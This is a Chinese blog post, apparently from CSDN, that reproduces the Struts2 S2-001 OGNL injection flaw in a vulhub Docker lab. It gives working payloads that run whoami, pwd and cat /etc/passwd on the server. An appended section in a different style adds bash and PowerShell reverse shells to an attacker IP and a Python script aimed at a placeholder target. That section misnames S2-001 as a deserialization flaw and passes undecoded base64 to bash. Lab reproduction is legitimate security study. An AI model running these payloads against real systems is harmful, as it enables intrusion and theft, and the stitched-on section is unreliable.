Struts2漏洞S2-001复现

本文介绍Struts2 S2-001漏洞的原理及复现过程,包括环境搭建、POC测试、命令执行等关键步骤。

Struts2 漏洞S2-001复现学习笔记

S2-001复现

原理:该漏洞因用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用OGNL表达式%{value}进行解析,然后重新填充到对应的表单数据中。如注册或登录页面,提交失败后一般会默认返回之前提交的数据,由于后端使用%{value}对提交的数据执行了一次OGNL 表达式解析,所以可以直接构造 Payload进行命令执行。

漏洞环境搭建

https://github.com/vulhub/vulhub/tree/master/struts2/s2-001

运行以下命令进行设置

docker-compose build
docker-compose up -d

访问 http://127.0.0.1:8080/
在这里插入图片描述

漏洞poc测试

1.输入**%{‘123’}**,sumbit
在这里插入图片描述

2.返回123,参数值,证明漏洞存在
在这里插入图片描述

构造poc

  1. 获取tomcat路径:
    %{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
    

在这里插入图片描述

语句执行后,查看返回的语句信息:
在这里插入图片描述

  1. 获取网站真实路径:
    %{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
    

在这里插入图片描述
在这里插入图片描述

  1. 构造查看权限的poc:
    %{
    
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
    
    #b=#a.getInputStream(),
    
    #c=new java.io.InputStreamReader(#b),
    
    #d=new java.io.BufferedReader(#c),
    
    #e=new char[50000],
    
    #d.read(#e),
    
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    
    #f.getWriter().println(new java.lang.String(#e)),
    
    #f.getWriter().flush(),#f.getWriter().close()
    
    }
    

在这里插入图片描述

  1. 执行任意命令只需要将上面的poc中whoami替换:
    %{
    
    #a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
    
    #b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
    
    #d=new java.io.BufferedReader(#c),
    
    #e=new char[50000],#d.read(#e),
    
    #f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
    
    #f.getWriter().println(new java.lang.String(#e)),
    
    #f.getWriter().flush(),
    
    #f.getWriter().close()
    
    }
    

在这里插入图片描述

  1. 执行命令(带参数的命令:new java.lang.String[]{"cat","/etc/passwd"}):
    %{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
    

在这里插入图片描述

关闭docker环境

命令:docker-compose down -v
提供的引用内容未提及struts2 s2 - 001反序列化漏洞实现反弹shell的方法。一般而言,要实现该漏洞反弹shell可按以下通用思路操作: 首先,确定目标系统的信息,如操作系统类型(Windows或Linux),这会影响反弹shell的命令。对于Linux系统,常见的反弹shell命令是`bash -i >& /dev/tcp/攻击者IP/端口 0>&1` ,在引用中的struts2 s2 - 059和S2 - 059远程代码执行漏洞复现中都有类似使用。对于Windows系统,可能会使用如`powershell -c "$client = New-Object System.Net.Sockets.TCPClient('攻击者IP',端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"` 然后,构造相应的漏洞利用代码。这通常要结合Struts2框架的漏洞原理,可能会涉及到使用特定的表达式或利用框架中可被利用的组件来执行命令。在引用[2]的Java反序列化漏洞复现weblogic和s2)中给出了一个Java反序列化漏洞利用代码示例,虽然不是针对s2 - 001,但思路是通过构造包含执行命令的XMLDecoder代码来执行反弹shell命令。 最后,将构造好的反弹shell命令进行适当处理,如在引用中提到的反弹shell的bash需要经过base64编码 ,然后将处理后的命令嵌入到漏洞利用代码中,向目标系统发送请求以触发漏洞,实现反弹shell。 以下是一个简单模拟的Python脚本示例(仅作示意,实际需根据具体情况调整): ```python import requests import base64 # 反弹shell命令 reverse_shell = "bash -i >& /dev/tcp/192.168.1.100/8888 0>&1" # base64编码 encoded_shell = base64.b64encode(reverse_shell.encode()).decode() # 假设的漏洞利用URL url = "http://target.com/struts2-action" # 假设的漏洞利用参数 payload = f"${{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{{'/bin/bash', '-c', '{encoded_shell}'}})).start()}}" params = { "param": payload } response = requests.get(url, params=params) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值